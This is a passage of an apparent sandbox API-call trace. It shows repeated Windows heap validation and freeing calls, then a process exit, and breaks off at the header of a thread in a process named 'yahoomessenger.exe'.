out: hHeap=0x160000) returned 1 [0078.439] GetProcessHeap () returned 0x160000 [0078.439] GetProcessHeap () returned 0x160000 [0078.439] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17cca0) returned 1 [0078.439] GetProcessHeap () returned 0x160000 [0078.439] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17cca0) returned 0x20 [0078.439] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17cca0 | out: hHeap=0x160000) returned 1 [0078.439] GetProcessHeap () returned 0x160000 [0078.439] GetProcessHeap () returned 0x160000 [0078.440] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c3c0) returned 1 [0078.440] GetProcessHeap () returned 0x160000 [0078.440] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17c3c0) returned 0x74 [0078.440] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17c3c0 | out: hHeap=0x160000) returned 1 [0078.440] GetProcessHeap () returned 0x160000 [0078.440] GetProcessHeap () returned 0x160000 [0078.440] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17d6b0) returned 1 [0078.440] GetProcessHeap () returned 0x160000 [0078.440] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17d6b0) returned 0x18 [0078.440] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17d6b0 | out: hHeap=0x160000) returned 1 [0078.440] GetProcessHeap () returned 0x160000 [0078.440] GetProcessHeap () returned 0x160000 [0078.440] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17cc70) returned 1 [0078.440] GetProcessHeap () returned 0x160000 [0078.440] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17cc70) returned 0x20 [0078.441] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17cc70 | out: hHeap=0x160000) returned 1 [0078.441] GetProcessHeap () returned 0x160000 [0078.441] GetProcessHeap () returned 0x160000 [0078.441] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17de20) returned 1 [0078.441] GetProcessHeap () returned 0x160000 [0078.441] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17de20) returned 0x76 [0078.441] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17de20 | out: hHeap=0x160000) returned 1 [0078.441] GetProcessHeap () returned 0x160000 [0078.441] GetProcessHeap () returned 0x160000 [0078.441] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17d650) returned 1 [0078.441] GetProcessHeap () returned 0x160000 [0078.441] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17d650) returned 0x18 [0078.442] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17d650 | out: hHeap=0x160000) returned 1 [0078.442] GetProcessHeap () returned 0x160000 [0078.442] GetProcessHeap () returned 0x160000 [0078.442] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17cc40) returned 1 [0078.442] GetProcessHeap () returned 0x160000 [0078.442] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17cc40) returned 0x20 [0078.442] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17cc40 | out: hHeap=0x160000) returned 1 [0078.442] GetProcessHeap () returned 0x160000 [0078.445] GetProcessHeap () returned 0x160000 [0078.445] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c4a0) returned 1 [0078.445] GetProcessHeap () returned 0x160000 [0078.445] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17c4a0) returned 0xe [0078.445] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17c4a0 | out: hHeap=0x160000) returned 1 [0078.445] GetProcessHeap () returned 0x160000 [0078.445] GetProcessHeap () returned 0x160000 [0078.445] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c480) returned 1 [0078.445] GetProcessHeap () returned 0x160000 [0078.445] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17c480) returned 0x18 [0078.445] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17c480 | out: hHeap=0x160000) returned 1 [0078.445] GetProcessHeap () returned 0x160000 [0078.445] GetProcessHeap () returned 0x160000 [0078.445] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175e70) returned 1 [0078.445] GetProcessHeap () returned 0x160000 [0078.445] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175e70) returned 0x20 [0078.446] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175e70 | out: hHeap=0x160000) returned 1 [0078.446] GetProcessHeap () returned 0x160000 [0078.446] GetProcessHeap () returned 0x160000 [0078.446] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17bd60) returned 1 [0078.446] GetProcessHeap () returned 0x160000 [0078.446] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17bd60) returned 0x208 [0078.447] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17bd60 | out: hHeap=0x160000) returned 1 [0078.447] GetProcessHeap () returned 0x160000 [0078.447] GetProcessHeap () returned 0x160000 [0078.447] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17bbc0) returned 1 [0078.447] GetProcessHeap () returned 0x160000 [0078.447] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17bbc0) returned 0x18 [0078.447] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17bbc0 | out: hHeap=0x160000) returned 1 [0078.447] GetProcessHeap () returned 0x160000 [0078.447] GetProcessHeap () returned 0x160000 [0078.447] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175d80) returned 1 [0078.447] GetProcessHeap () returned 0x160000 [0078.447] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175d80) returned 0x20 [0078.447] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175d80 | out: hHeap=0x160000) returned 1 [0078.447] GetProcessHeap () returned 0x160000 [0078.447] GetProcessHeap () returned 0x160000 [0078.447] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17d410) returned 1 [0078.447] GetProcessHeap () returned 0x160000 [0078.447] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17d410) returned 0x200 [0078.448] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17d410 | out: hHeap=0x160000) returned 1 [0078.448] GetProcessHeap () returned 0x160000 [0078.448] GetProcessHeap () returned 0x160000 [0078.448] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17bc00) returned 1 [0078.448] GetProcessHeap () returned 0x160000 [0078.448] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17bc00) returned 0x18 [0078.448] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17bc00 | out: hHeap=0x160000) returned 1 [0078.448] GetProcessHeap () returned 0x160000 [0078.448] GetProcessHeap () returned 0x160000 [0078.448] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175cf0) returned 1 [0078.448] GetProcessHeap () returned 0x160000 [0078.448] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175cf0) returned 0x20 [0078.449] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175cf0 | out: hHeap=0x160000) returned 1 [0078.449] GetProcessHeap () returned 0x160000 [0078.449] GetProcessHeap () returned 0x160000 [0078.449] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c370) returned 1 [0078.449] GetProcessHeap () returned 0x160000 [0078.449] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17c370) returned 0x14 [0078.449] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17c370 | out: hHeap=0x160000) returned 1 [0078.449] GetProcessHeap () returned 0x160000 [0078.449] GetProcessHeap () returned 0x160000 [0078.449] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c350) returned 1 [0078.449] GetProcessHeap () returned 0x160000 [0078.449] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17c350) returned 0x18 [0078.449] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17c350 | out: hHeap=0x160000) returned 1 [0078.449] GetProcessHeap () returned 0x160000 [0078.449] GetProcessHeap () returned 0x160000 [0078.449] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175c30) returned 1 [0078.449] GetProcessHeap () returned 0x160000 [0078.449] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175c30) returned 0x20 [0078.450] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175c30 | out: hHeap=0x160000) returned 1 [0078.450] GetProcessHeap () returned 0x160000 [0078.450] GetProcessHeap () returned 0x160000 [0078.450] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c390) returned 1 [0078.450] GetProcessHeap () returned 0x160000 [0078.450] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17c390) returned 0x16 [0078.450] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17c390 | out: hHeap=0x160000) returned 1 [0078.450] GetProcessHeap () returned 0x160000 [0078.450] GetProcessHeap () returned 0x160000 [0078.450] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c210) returned 1 [0078.450] GetProcessHeap () returned 0x160000 [0078.450] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17c210) returned 0x18 [0078.450] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17c210 | out: hHeap=0x160000) returned 1 [0078.450] GetProcessHeap () returned 0x160000 [0078.450] GetProcessHeap () returned 0x160000 [0078.450] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175c00) returned 1 [0078.451] GetProcessHeap () returned 0x160000 [0078.451] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175c00) returned 0x20 [0078.451] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175c00 | out: hHeap=0x160000) returned 1 [0078.451] GetProcessHeap () returned 0x160000 [0078.451] GetProcessHeap () returned 0x160000 [0078.451] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17bb40) returned 1 [0078.451] GetProcessHeap () returned 0x160000 [0078.451] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17bb40) returned 0x2 [0078.451] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17bb40 | out: hHeap=0x160000) returned 1 [0078.451] GetProcessHeap () returned 0x160000 [0078.452] GetProcessHeap () returned 0x160000 [0078.452] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175a50) returned 1 [0078.452] GetProcessHeap () returned 0x160000 [0078.452] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175a50) returned 0x20 [0078.452] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175a50 | out: hHeap=0x160000) returned 1 [0078.452] GetProcessHeap () returned 0x160000 [0078.452] GetProcessHeap () returned 0x160000 [0078.452] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175a80) returned 1 [0078.452] GetProcessHeap () returned 0x160000 [0078.452] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175a80) returned 0x20 [0078.453] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175a80 | out: hHeap=0x160000) returned 1 [0078.453] GetProcessHeap () returned 0x160000 [0078.453] GetProcessHeap () returned 0x160000 [0078.453] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175ab0) returned 1 [0078.453] GetProcessHeap () returned 0x160000 [0078.453] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175ab0) returned 0x20 [0078.454] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175ab0 | out: hHeap=0x160000) returned 1 [0078.454] GetProcessHeap () returned 0x160000 [0078.454] GetProcessHeap () returned 0x160000 [0078.454] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175ae0) returned 1 [0078.454] GetProcessHeap () returned 0x160000 [0078.454] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175ae0) returned 0x20 [0078.454] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175ae0 | out: hHeap=0x160000) returned 1 [0078.454] GetProcessHeap () returned 0x160000 [0078.454] GetProcessHeap () returned 0x160000 [0078.454] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17ccd0) returned 1 [0078.455] GetProcessHeap () returned 0x160000 [0078.455] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17ccd0) returned 0x20 [0078.455] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17ccd0 | out: hHeap=0x160000) returned 1 [0078.455] GetProcessHeap () returned 0x160000 [0078.455] GetProcessHeap () returned 0x160000 [0078.455] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17d7b0) returned 1 [0078.455] GetProcessHeap () returned 0x160000 [0078.455] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17d7b0) returned 0xa [0078.455] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17d7b0 | out: hHeap=0x160000) returned 1 [0078.455] GetProcessHeap () returned 0x160000 [0078.455] GetProcessHeap () returned 0x160000 [0078.455] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17cd00) returned 1 [0078.455] GetProcessHeap () returned 0x160000 [0078.455] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17cd00) returned 0x20 [0078.456] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17cd00 | out: hHeap=0x160000) returned 1 [0078.456] GetProcessHeap () returned 0x160000 [0078.456] GetProcessHeap () returned 0x160000 [0078.456] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x177be0) returned 1 [0078.456] GetProcessHeap () returned 0x160000 [0078.456] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x177be0) returned 0x30 [0078.457] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x177be0 | out: hHeap=0x160000) returned 1 [0078.457] GetProcessHeap () returned 0x160000 [0078.457] GetProcessHeap () returned 0x160000 [0078.457] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17cd30) returned 1 [0078.457] GetProcessHeap () returned 0x160000 [0078.457] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17cd30) returned 0x20 [0078.457] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17cd30 | out: hHeap=0x160000) returned 1 [0078.457] GetProcessHeap () returned 0x160000 [0078.457] GetProcessHeap () returned 0x160000 [0078.457] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x177c20) returned 1 [0078.457] GetProcessHeap () returned 0x160000 [0078.457] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x177c20) returned 0x30 [0078.458] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x177c20 | out: hHeap=0x160000) returned 1 [0078.458] GetProcessHeap () returned 0x160000 [0078.458] GetProcessHeap () returned 0x160000 [0078.458] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17cf10) returned 1 [0078.458] GetProcessHeap () returned 0x160000 [0078.458] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17cf10) returned 0x20 [0078.459] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17cf10 | out: hHeap=0x160000) returned 1 [0078.459] GetProcessHeap () returned 0x160000 [0078.459] GetProcessHeap () returned 0x160000 [0078.459] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17d6d0) returned 1 [0078.459] GetProcessHeap () returned 0x160000 [0078.459] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17d6d0) returned 0x10 [0078.459] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17d6d0 | out: hHeap=0x160000) returned 1 [0078.459] GetProcessHeap () returned 0x160000 [0078.459] GetProcessHeap () returned 0x160000 [0078.459] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17cee0) returned 1 [0078.459] GetProcessHeap () returned 0x160000 [0078.459] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17cee0) returned 0x20 [0078.460] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17cee0 | out: hHeap=0x160000) returned 1 [0078.460] GetProcessHeap () returned 0x160000 [0078.460] GetProcessHeap () returned 0x160000 [0078.460] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17d6f0) returned 1 [0078.460] GetProcessHeap () returned 0x160000 [0078.460] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17d6f0) returned 0x10 [0078.460] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17d6f0 | out: hHeap=0x160000) returned 1 [0078.460] GetProcessHeap () returned 0x160000 [0078.460] GetProcessHeap () returned 0x160000 [0078.460] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17ceb0) returned 1 [0078.460] GetProcessHeap () returned 0x160000 [0078.460] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17ceb0) returned 0x20 [0078.460] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17ceb0 | out: hHeap=0x160000) returned 1 [0078.460] GetProcessHeap () returned 0x160000 [0078.461] GetProcessHeap () returned 0x160000 [0078.461] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17d710) returned 1 [0078.461] GetProcessHeap () returned 0x160000 [0078.461] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17d710) returned 0xe [0078.461] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17d710 | out: hHeap=0x160000) returned 1 [0078.461] GetProcessHeap () returned 0x160000 [0078.461] GetProcessHeap () returned 0x160000 [0078.461] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17ce80) returned 1 [0078.461] GetProcessHeap () returned 0x160000 [0078.461] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17ce80) returned 0x20 [0078.461] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17ce80 | out: hHeap=0x160000) returned 1 [0078.461] GetProcessHeap () returned 0x160000 [0078.461] GetProcessHeap () returned 0x160000 [0078.462] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17d730) returned 1 [0078.462] GetProcessHeap () returned 0x160000 [0078.462] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17d730) returned 0x16 [0078.462] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17d730 | out: hHeap=0x160000) returned 1 [0078.462] GetProcessHeap () returned 0x160000 [0078.462] GetProcessHeap () returned 0x160000 [0078.462] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17ce50) returned 1 [0078.462] GetProcessHeap () returned 0x160000 [0078.462] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17ce50) returned 0x20 [0078.462] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17ce50 | out: hHeap=0x160000) returned 1 [0078.462] GetProcessHeap () returned 0x160000 [0078.462] GetProcessHeap () returned 0x160000 [0078.462] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17d750) returned 1 [0078.462] GetProcessHeap () returned 0x160000 [0078.462] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17d750) returned 0x16 [0078.463] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17d750 | out: hHeap=0x160000) returned 1 [0078.463] GetProcessHeap () returned 0x160000 [0078.463] GetProcessHeap () returned 0x160000 [0078.463] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17ce20) returned 1 [0078.463] GetProcessHeap () returned 0x160000 [0078.463] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17ce20) returned 0x20 [0078.463] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17ce20 | out: hHeap=0x160000) returned 1 [0078.463] GetProcessHeap () returned 0x160000 [0078.463] GetProcessHeap () returned 0x160000 [0078.463] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x199df0) returned 1 [0078.463] GetProcessHeap () returned 0x160000 [0078.463] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x199df0) returned 0x82 [0078.464] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x199df0 | out: hHeap=0x160000) returned 1 [0078.464] GetProcessHeap () returned 0x160000 [0078.464] GetProcessHeap () returned 0x160000 [0078.464] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17cdf0) returned 1 [0078.464] GetProcessHeap () returned 0x160000 [0078.464] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17cdf0) returned 0x20 [0078.464] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17cdf0 | out: hHeap=0x160000) returned 1 [0078.464] GetProcessHeap () returned 0x160000 [0078.464] GetProcessHeap () returned 0x160000 [0078.464] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17d790) returned 1 [0078.465] GetProcessHeap () returned 0x160000 [0078.465] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17d790) returned 0xe [0078.465] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17d790 | out: hHeap=0x160000) returned 1 [0078.465] GetProcessHeap () returned 0x160000 [0078.465] GetProcessHeap () returned 0x160000 [0078.465] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17cdc0) returned 1 [0078.465] GetProcessHeap () returned 0x160000 [0078.465] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17cdc0) returned 0x20 [0078.465] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17cdc0 | out: hHeap=0x160000) returned 1 [0078.465] GetProcessHeap () returned 0x160000 [0078.465] GetProcessHeap () returned 0x160000 [0078.465] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17bb60) returned 1 [0078.465] GetProcessHeap () returned 0x160000 [0078.465] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17bb60) returned 0x18 [0078.465] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17bb60 | out: hHeap=0x160000) returned 1 [0078.465] GetProcessHeap () returned 0x160000 [0078.465] GetProcessHeap () returned 0x160000 [0078.465] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175b10) returned 1 [0078.465] GetProcessHeap () returned 0x160000 [0078.465] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175b10) returned 0x20 [0078.466] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175b10 | out: hHeap=0x160000) returned 1 [0078.466] GetProcessHeap () returned 0x160000 [0078.466] GetProcessHeap () returned 0x160000 [0078.466] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175b40) returned 1 [0078.466] GetProcessHeap () returned 0x160000 [0078.466] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175b40) returned 0x20 [0078.467] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175b40 | out: hHeap=0x160000) returned 1 [0078.467] GetProcessHeap () returned 0x160000 [0078.467] GetProcessHeap () returned 0x160000 [0078.467] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175b70) returned 1 [0078.467] GetProcessHeap () returned 0x160000 [0078.467] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175b70) returned 0x20 [0078.467] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175b70 | out: hHeap=0x160000) returned 1 [0078.467] GetProcessHeap () returned 0x160000 [0078.467] GetProcessHeap () returned 0x160000 [0078.467] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175ba0) returned 1 [0078.467] GetProcessHeap () returned 0x160000 [0078.467] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175ba0) returned 0x20 [0078.468] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175ba0 | out: hHeap=0x160000) returned 1 [0078.468] GetProcessHeap () returned 0x160000 [0078.468] GetProcessHeap () returned 0x160000 [0078.468] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17bb80) returned 1 [0078.468] GetProcessHeap () returned 0x160000 [0078.468] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17bb80) returned 0x18 [0078.468] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17bb80 | out: hHeap=0x160000) returned 1 [0078.468] GetProcessHeap () returned 0x160000 [0078.468] GetProcessHeap () returned 0x160000 [0078.468] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175bd0) returned 1 [0078.468] GetProcessHeap () returned 0x160000 [0078.468] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175bd0) returned 0x20 [0078.469] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175bd0 | out: hHeap=0x160000) returned 1 [0078.469] GetProcessHeap () returned 0x160000 [0078.469] GetProcessHeap () returned 0x160000 [0078.469] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175c60) returned 1 [0078.469] GetProcessHeap () returned 0x160000 [0078.469] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175c60) returned 0x20 [0078.469] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175c60 | out: hHeap=0x160000) returned 1 [0078.469] GetProcessHeap () returned 0x160000 [0078.469] GetProcessHeap () returned 0x160000 [0078.469] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175cc0) returned 1 [0078.469] GetProcessHeap () returned 0x160000 [0078.469] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175cc0) returned 0x20 [0078.470] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175cc0 | out: hHeap=0x160000) returned 1 [0078.470] GetProcessHeap () returned 0x160000 [0078.470] GetProcessHeap () returned 0x160000 [0078.470] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175d20) returned 1 [0078.470] GetProcessHeap () returned 0x160000 [0078.470] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175d20) returned 0x20 [0078.470] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175d20 | out: hHeap=0x160000) returned 1 [0078.470] GetProcessHeap () returned 0x160000 [0078.470] GetProcessHeap () returned 0x160000 [0078.470] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175d50) returned 1 [0078.470] GetProcessHeap () returned 0x160000 [0078.470] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175d50) returned 0x20 [0078.471] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175d50 | out: hHeap=0x160000) returned 1 [0078.471] GetProcessHeap () returned 0x160000 [0078.471] GetProcessHeap () returned 0x160000 [0078.471] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17bba0) returned 1 [0078.471] GetProcessHeap () returned 0x160000 [0078.471] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17bba0) returned 0x18 [0078.471] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17bba0 | out: hHeap=0x160000) returned 1 [0078.471] GetProcessHeap () returned 0x160000 [0078.471] GetProcessHeap () returned 0x160000 [0078.471] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175c90) returned 1 [0078.471] GetProcessHeap () returned 0x160000 [0078.471] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175c90) returned 0x20 [0078.472] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175c90 | out: hHeap=0x160000) returned 1 [0078.472] GetProcessHeap () returned 0x160000 [0078.472] GetProcessHeap () returned 0x160000 [0078.472] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17bb20) returned 1 [0078.472] GetProcessHeap () returned 0x160000 [0078.472] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17bb20) returned 0x18 [0078.472] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17bb20 | out: hHeap=0x160000) returned 1 [0078.472] exit (_Code=0) Thread: id = 165 os_tid = 0xc7c Process: id = "42" image_name = "yahoomessenger.exe" filename = "c:\\program files 